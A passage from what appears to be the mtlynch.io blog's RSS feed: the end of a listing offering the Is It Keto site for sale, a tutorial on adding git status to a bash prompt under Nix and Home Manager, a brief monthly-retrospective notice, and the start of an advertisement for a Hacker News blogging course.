&lt;li>The code is old and bad, and it&amp;rsquo;s probably more trouble than it&amp;rsquo;s worth to switch hosts.&lt;/li>
&lt;li>I&amp;rsquo;ll give you the code, but I don&amp;rsquo;t guarantee that you&amp;rsquo;ll be able to use it to redeploy the recipe search feature.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Assignment of all Is It Keto copyrights
&lt;ul>
&lt;li>Including source code, content, and custom graphics&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Two 1:1 one-hour video calls with me to ask questions about the code or the business.&lt;/li>
&lt;/ul>
&lt;h2 id="what-you-dont-get">What you don&amp;rsquo;t get&lt;/h2>
&lt;ul>
&lt;li>Access to my Google AdSense account
&lt;ul>
&lt;li>You will need to create your own and replace the account ID in the Is It Keto source code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Access to my Amazon Affiliate account
&lt;ul>
&lt;li>You will need to create your own and replace the account ID in the Is It Keto source code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Access to my Netlify account, where I host Is It Keto
&lt;ul>
&lt;li>You will point the domain name at a different host, and I&amp;rsquo;ll turn down my copy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Historical Google Analytics data
&lt;ul>
&lt;li>I lost most analytics data prior to 2024 in the switch to GA4.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Any historical emails related to Is It Keto&lt;/li>
&lt;li>Control over what I say about Is It Keto.
&lt;ul>
&lt;li>I will keep writing I&amp;rsquo;ve published about Is It Keto online.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Guaranteed backlinks from mtlynch.io
&lt;ul>
&lt;li>Is It Keto currently has a lot of backlinks from this blog. I have no plans to remove those links, but I don&amp;rsquo;t guarantee that I&amp;rsquo;ll keep them live forever.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="payment">Payment&lt;/h2>
&lt;p>I&amp;rsquo;ll accept payment through an escrow service like &lt;a href="https://escrow.com">escrow.com&lt;/a>. If I know you or someone I know vouches for you, I&amp;rsquo;m open to skipping escrow. If you&amp;rsquo;re open to paying in ETH or USDC, we can skip escrow.&lt;/p>
&lt;h2 id="inquiries">Inquiries&lt;/h2>
&lt;div class="notice notice-warning">
 &lt;strong>Update (2024-07-12)&lt;/strong>: Applications are now closed
&lt;/div>
</content:encoded></item><item><title>Configure a Git Shell Prompt Under Nix</title><link>https://mtlynch.io/notes/nix-git-bash-shell/</link><pubDate>Wed, 03 Jul 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nix-git-bash-shell/</guid><description>&lt;p>I recently read Julia Evans&amp;rsquo; &lt;a href="https://wizardzines.com/zines/git/">latest zine about git&lt;/a>, and one of her tips was to &lt;a href="https://wizardzines.com/comics/knowing-where-you-are-in-git/">configure your terminal shell prompt to show the git status&lt;/a>.&lt;/p>
&lt;p>Julia&amp;rsquo;s terminal prompt looks like this:&lt;/p>
&lt;style>
.terminal-example {
 background: black;
 color: lightgray;
 font-family: Consolas;
 padding: 2rem;
}
&lt;/style>
&lt;div class="terminal-example">
~/work/homepage (&lt;span style="color: lightgreen">main&lt;/span>) $
&lt;/div>
&lt;p>&lt;code>main&lt;/code> is Julia&amp;rsquo;s current git branch. When she&amp;rsquo;s in the middle of a git operation like bisect or merge, the terminal changes to this:&lt;/p>
&lt;div class="terminal-example">
~/work/homepage (&lt;span style="color: lightgreen">main|MERGING&lt;/span>) $
&lt;/div>
&lt;p>It had never occurred to me to customize my shell prompt, but I immediately recognized the value.&lt;/p></description><content:encoded>&lt;p>I recently read Julia Evans&amp;rsquo; &lt;a href="https://wizardzines.com/zines/git/">latest zine about git&lt;/a>, and one of her tips was to &lt;a href="https://wizardzines.com/comics/knowing-where-you-are-in-git/">configure your terminal shell prompt to show the git status&lt;/a>.&lt;/p>
&lt;p>Julia&amp;rsquo;s terminal prompt looks like this:&lt;/p>
&lt;style>
.terminal-example {
 background: black;
 color: lightgray;
 font-family: Consolas;
 padding: 2rem;
}
&lt;/style>
&lt;div class="terminal-example">
~/work/homepage (&lt;span style="color: lightgreen">main&lt;/span>) $
&lt;/div>
&lt;p>&lt;code>main&lt;/code> is Julia&amp;rsquo;s current git branch. When she&amp;rsquo;s in the middle of a git operation like bisect or merge, the terminal changes to this:&lt;/p>
&lt;div class="terminal-example">
~/work/homepage (&lt;span style="color: lightgreen">main|MERGING&lt;/span>) $
&lt;/div>
&lt;p>It had never occurred to me to customize my shell prompt, but I immediately recognized the value.&lt;/p>
&lt;p>I constantly run &lt;code>git status&lt;/code> to remember which branch I&amp;rsquo;m in, and I often forget that I&amp;rsquo;m in the middle of a git merge.&lt;/p>
&lt;h2 id="setting-up-git-prompts-in-my-terminal">Setting up git prompts in my terminal&lt;/h2>
&lt;p>Julia&amp;rsquo;s zine convinced me to customize my terminal shell to include my git status, but it wasn&amp;rsquo;t obvious how to do it. Apparently, I needed a file called &lt;code>git-prompt.sh&lt;/code>, but it wasn&amp;rsquo;t available in my Debian install with git 2.30.2:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ find / -name &lt;span style="color:#ed9d13">&amp;#39;git-prompt.sh&amp;#39;&lt;/span> -type f -print
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># No results&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The other option was to download an official copy of &lt;code>git-prompt.sh&lt;/code> from GitHub:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Download git-prompt.sh&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh &amp;gt; ~/.git-prompt.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Add it to my .bashrc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;. ~/.git-prompt.sh&amp;#39;&lt;/span> &amp;gt;&amp;gt; ~/.bashrc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Reload .bashrc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>. ~/.bashrc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To test whether it was working, I created a scratch git repo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir examplerepo &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">cd&lt;/span> examplerepo &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git init
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If &lt;code>git-prompt.sh&lt;/code> was working correctly, the &lt;code>__git_ps1&lt;/code> command should display the current git branch:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ __git_ps1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(master)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great! It works.&lt;/p>
&lt;p>But I don&amp;rsquo;t want to call &lt;code>__git_ps1&lt;/code> manually all the time — I want the branch to appear in my terminal prompt &lt;em>automatically&lt;/em> like Julia Evans showed.&lt;/p>
&lt;p>The simplest way to show my git status in my terminal shell is to overwrite the &lt;code>PS1&lt;/code> variable in my bash session:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">PS1&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;$(__git_ps1 &amp;#34;(%s)&amp;#34;) \$ &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(master) $
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, when I perform git commands, the terminal changes to reflect the status:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>(master) $ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;hi&amp;#39;&lt;/span> &amp;gt; hello.txt &amp;amp;&amp;amp; git add -A &amp;amp;&amp;amp; git commit -m &lt;span style="color:#ed9d13">&amp;#34;Test commit&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[master (root-commit) 7b14d2a] Test commit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">1&lt;/span> file changed, &lt;span style="color:#3677a9">1&lt;/span> insertion(+)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> create mode &lt;span style="color:#3677a9">100644&lt;/span> hello.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(master) $ git checkout -b branchA &amp;amp;&amp;amp; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;hey&amp;#39;&lt;/span> &amp;gt; hello.txt &amp;amp;&amp;amp; git add -A &amp;amp;&amp;amp; git commit -m &lt;span style="color:#ed9d13">&amp;#34;test A&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Switched to a new branch &lt;span style="color:#ed9d13">&amp;#39;branchA&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[branchA 65b3d63] &lt;span style="color:#24909d">test&lt;/span> A
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">1&lt;/span> file changed, &lt;span style="color:#3677a9">1&lt;/span> insertion(+), &lt;span style="color:#3677a9">1&lt;/span> deletion(-)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(branchA) $ git checkout master
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Switched to branch &lt;span style="color:#ed9d13">&amp;#39;master&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(master) $ git checkout -b branchB &amp;amp;&amp;amp; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;hello&amp;#39;&lt;/span> &amp;gt; hello.txt &amp;amp;&amp;amp; git add -A &amp;amp;&amp;amp; git commit -m &lt;span style="color:#ed9d13">&amp;#34;test B&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Switched to a new branch &lt;span style="color:#ed9d13">&amp;#39;branchB&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[branchB 198c875] &lt;span style="color:#24909d">test&lt;/span> B
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">1&lt;/span> file changed, &lt;span style="color:#3677a9">1&lt;/span> insertion(+), &lt;span style="color:#3677a9">1&lt;/span> deletion(-)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(branchB) $ git merge branchA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Auto-merging hello.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>CONFLICT (content): Merge conflict in hello.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Automatic merge failed; fix conflicts and &lt;span style="color:#6ab825;font-weight:bold">then&lt;/span> commit the result.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(branchB|MERGING) $
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, that looks like it&amp;rsquo;s working.&lt;/p>
&lt;p>But I missed seeing my working directory in my shell prompt, so I changed &lt;code>PS1&lt;/code> to this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">PS1&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;\w $(__git_ps1 &amp;#34;(%s)&amp;#34;) \$ &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~/examplerepo (branchB|MERGING) $
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I also missed having nice colors, so I added them as well:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">PS1&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;\[\033[01;34m\]\w\[\033[00m\]\[\033[01;32m\]$(__git_ps1 &amp;#34; (%s)&amp;#34;)\[\033[00m\]\$ &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, editing the &lt;code>PS1&lt;/code> command is complicated enough that I recommend using a free tool like &lt;a href="https://bash-prompt-generator.org/">Bash Prompt Generator&lt;/a> to create the command and add in the colors for you.&lt;/p>
&lt;p>Here&amp;rsquo;s what my final terminal prompt looks like:&lt;/p>
&lt;div class="terminal-example">
&lt;span style="color: cyan">~/examplerepo&lt;/span> &lt;span style="color: lightgreen">(branchB|MERGING)&lt;/span>$
&lt;/div>
&lt;p>To make that change permanent, I added my &lt;code>export PS1&lt;/code> line to my &lt;code>~/.bashrc&lt;/code> file, and now I have my custom terminal every time I start a new bash shell.&lt;/p>
&lt;h2 id="integrating-git-into-the-bash-shell-prompt-on-nix">Integrating git into the bash shell prompt on Nix&lt;/h2>
&lt;p>The problem with all the steps above is that I use &lt;a href="https://nixos.org/">Nix&lt;/a> and &lt;a href="https://github.com/nix-community/home-manager">Home Manager&lt;/a>, which is nice but also makes everything about my bash configuration more complicated. I couldn&amp;rsquo;t simply add a line to my &lt;code>.bashrc&lt;/code> because Home Manager would blow away my changes next time I ran it.&lt;/p>
&lt;p>Fortunately, this &lt;a href="https://jeffkreeftmeijer.com/nix-home-manager-git-prompt/">post by Jeff Kreeftmeijer&lt;/a> helped me understand how to adapt the &lt;code>git-prompt.sh&lt;/code> solution to Nix.&lt;/p>
&lt;p>I modified my &lt;code>home.nix&lt;/code> file for Home Manager with the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> programs.bash = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">enable&lt;/span> = true;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">enableCompletion&lt;/span> = true;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">initExtra&lt;/span> = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Load __git_ps1 bash command.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> . ~/.nix-profile/share/git/contrib/completion/git-prompt.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Also load git command completions for bash.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> . ~/.nix-profile/share/git/contrib/completion/git-completion.bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Show git branch status in terminal shell.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">PS1&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;\[\033[01;34m\]\w\[\033[00m\]\[\033[01;32m\]$(__git_ps1 &amp;#34; (%s)&amp;#34;)\[\033[00m\]\$ &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once I updated the file, I ran &lt;code>home-manager switch&lt;/code>, it updated my &lt;code>.bashrc&lt;/code>, and everything worked as expected.&lt;/p>
&lt;h2 id="eliminating-nix-terminal-cruft-in-my-development-environments">Eliminating Nix terminal cruft in my development environments&lt;/h2>
&lt;p>Still, there was one last wrinkle in my custom bash terminal prompt.&lt;/p>
&lt;p>I do all of my development in &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">per-project Nix shells&lt;/a>. When I ran &lt;code>nix develop&lt;/code> to load my development environment, I saw that Nix had added an extra prefix to my terminal:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>~/examplerepo (branchB|MERGING) $ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(nix:nix-shell-env) ~/examplerepo (branchB|MERGING) $
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^^^^^^^^^^^^^^^^^^^ why?
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That prefix ate up a lot of real estate. Almost half of the terminal prompt was now just telling me that I&amp;rsquo;m in a Nix environment.&lt;/p>
&lt;p>In certain projects, Nix&amp;rsquo;s shell prompt prefix was even longer. This is what I saw in &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>~/examplerepo (branchB|MERGING) $ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(nix:nix-shell-x86_64-unknown-linux-musl-env) ~/picoshare (master)$
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ too much!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;m now losing a ton of screen space to that shell prefix. How do I get rid of that?&lt;/p>
&lt;p>It turns out that &lt;code>nix develop&lt;/code> has a &lt;code>--bash-prompt-prefix&lt;/code> flag that allows me to customize the terminal shell prefix like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop --bash-prompt-prefix &lt;span style="color:#ed9d13">&amp;#39;nix:&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nix:~/picoshare (master)$
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I don&amp;rsquo;t want it at all, I can set it to the empty string:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop --bash-prompt-prefix &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~/picoshare (master)$
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But obviously, I&amp;rsquo;d rather not add this extra command-line flag every time I run &lt;code>nix develop&lt;/code>.&lt;/p>
&lt;p>I realized that this cruft is actually coming from my &lt;code>nix.conf&lt;/code> file, which on my Debian system is at &lt;code>/etc/nix/nix.conf&lt;/code>. I guess the &lt;a href="https://github.com/DeterminateSystems/nix-installer">Determinate Systems Nix installer&lt;/a> chose that prefix for me:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ grep &lt;span style="color:#ed9d13">&amp;#39;bash-prompt-prefix&amp;#39;&lt;/span> /etc/nix/nix.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bash-prompt-prefix = (nix:&lt;span style="color:#40ffff">$name&lt;/span>)&lt;span style="color:#ed9d13">\0&lt;/span>&lt;span style="color:#3677a9">40&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I changed the line to the more concise &lt;code>nix:&lt;/code> prefix:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>bash-prompt-prefix = nix:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, I restarted Nix to apply the change:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo systemctl restart nix-daemon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, when I&amp;rsquo;m in a Nix development environment, I see a short, helpful prefix like this:&lt;/p>
&lt;div class="terminal-example">
nix:&lt;span style="color: cyan">~/picoshare&lt;/span> &lt;span style="color: lightgreen">(sqlite-performance)&lt;/span>$
&lt;/div>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>When I do software development work, it&amp;rsquo;s helpful to customize my terminal shell so that I can see the git status of my directory on every shell prompt.&lt;/p>
&lt;p>I hope this post helps others who want a similar configuration to mine on regular bash systems as well as on systems where Nix and Home Manager manage bash settings.&lt;/p></content:encoded></item><item><title>Reset Month</title><link>https://mtlynch.io/retrospectives/2024/06/</link><pubDate>Sun, 30 Jun 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/06/</guid><description>&lt;h2 id="no-update-this-month">No update this month&lt;/h2>
&lt;p>I&amp;rsquo;m skipping my normal retrospective this month, as &lt;a href="https://mtlynch.io/i-sold-tinypilot/">I sold TinyPilot&lt;/a> and am taking some time to figure out my next project.&lt;/p>
&lt;p>Retrospectives will resume in July.&lt;/p></description><content:encoded>&lt;h2 id="no-update-this-month">No update this month&lt;/h2>
&lt;p>I&amp;rsquo;m skipping my normal retrospective this month, as &lt;a href="https://mtlynch.io/i-sold-tinypilot/">I sold TinyPilot&lt;/a> and am taking some time to figure out my next project.&lt;/p>
&lt;p>Retrospectives will resume in July.&lt;/p></content:encoded></item><item><title>Join My Six-Week Blogging Course</title><link>https://mtlynch.io/notes/htfp-live/</link><pubDate>Thu, 20 Jun 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/htfp-live/</guid><description>&lt;p>I&amp;rsquo;m teaching a small-group, live course about attracting readers to your blog through Hacker News. &lt;a href="#sign-up">Sign up&lt;/a> by Monday (June 24th) to reserve your slot.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/notes/htfp-live/cover.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/notes/htfp-live/cover_hu_1fb16b59cb1cf7b7.webp 300w, https://mtlynch.io/notes/htfp-live/cover_hu_a8209cf231bc5c8a.webp 600w, https://mtlynch.io/notes/htfp-live/cover_hu_ff9fe5f0f2df1e1c.webp 800w, https://mtlynch.io/notes/htfp-live/cover_hu_e2f8584a2ad4d8c1.webp 1200w, https://mtlynch.io/notes/htfp-live/cover.webp 1200w'
 src="https://mtlynch.io/notes/htfp-live/cover.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="why-take-a-class-with-me">Why take a class with me?&lt;/h2>
&lt;p>My blog receives 300k-500k unique readers per year. After Google, Hacker News is the primary way that new readers find my writing.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/htfp-live/blog-stats.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/htfp-live/blog-stats_hu_a70490812b1c634b.png 300w, https://mtlynch.io/notes/htfp-live/blog-stats_hu_20c31060dd3e1bba.png 600w, https://mtlynch.io/notes/htfp-live/blog-stats_hu_c13432c4f220d630.png 800w, https://mtlynch.io/notes/htfp-live/blog-stats.png 1088w'
 src="https://mtlynch.io/notes/htfp-live/blog-stats.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My blog receives 300k-500k unique readers per year, with Hacker News largely connecting me with new readers.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;m teaching a small-group, live course about attracting readers to your blog through Hacker News. &lt;a href="#sign-up">Sign up&lt;/a> by Monday (June 24th) to reserve your slot.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/notes/htfp-live/cover.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/notes/htfp-live/cover_hu_1fb16b59cb1cf7b7.webp 300w, https://mtlynch.io/notes/htfp-live/cover_hu_a8209cf231bc5c8a.webp 600w, https://mtlynch.io/notes/htfp-live/cover_hu_ff9fe5f0f2df1e1c.webp 800w, https://mtlynch.io/notes/htfp-live/cover_hu_e2f8584a2ad4d8c1.webp 1200w, https://mtlynch.io/notes/htfp-live/cover.webp 1200w'
 src="https://mtlynch.io/notes/htfp-live/cover.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="why-take-a-class-with-me">Why take a class with me?&lt;/h2>
&lt;p>My blog receives 300k-500k unique readers per year. After Google, Hacker News is the primary way that new readers find my writing.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/htfp-live/blog-stats.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/htfp-live/blog-stats_hu_a70490812b1c634b.png 300w, https://mtlynch.io/notes/htfp-live/blog-stats_hu_20c31060dd3e1bba.png 600w, https://mtlynch.io/notes/htfp-live/blog-stats_hu_c13432c4f220d630.png 800w, https://mtlynch.io/notes/htfp-live/blog-stats.png 1088w'
 src="https://mtlynch.io/notes/htfp-live/blog-stats.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My blog receives 300k-500k unique readers per year, with Hacker News largely connecting me with new readers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In the past five years, &lt;a href="https://hn.algolia.com/?dateRange=all&amp;amp;page=0&amp;amp;prefix=true&amp;amp;query=mtlynch.io&amp;amp;sort=byPopularity&amp;amp;type=story">40+ of my posts&lt;/a> have reached the front page of Hacker News. Seven of them have landed in the #1 spot.&lt;/p>
&lt;p>It wasn&amp;rsquo;t always this way. I &lt;a href="https://mtlynch.io/sia-via-docker/">started blogging in 2016&lt;/a>, and it took me years of sending my articles into the void before I figured out how to connect my writing with large audiences.&lt;/p>
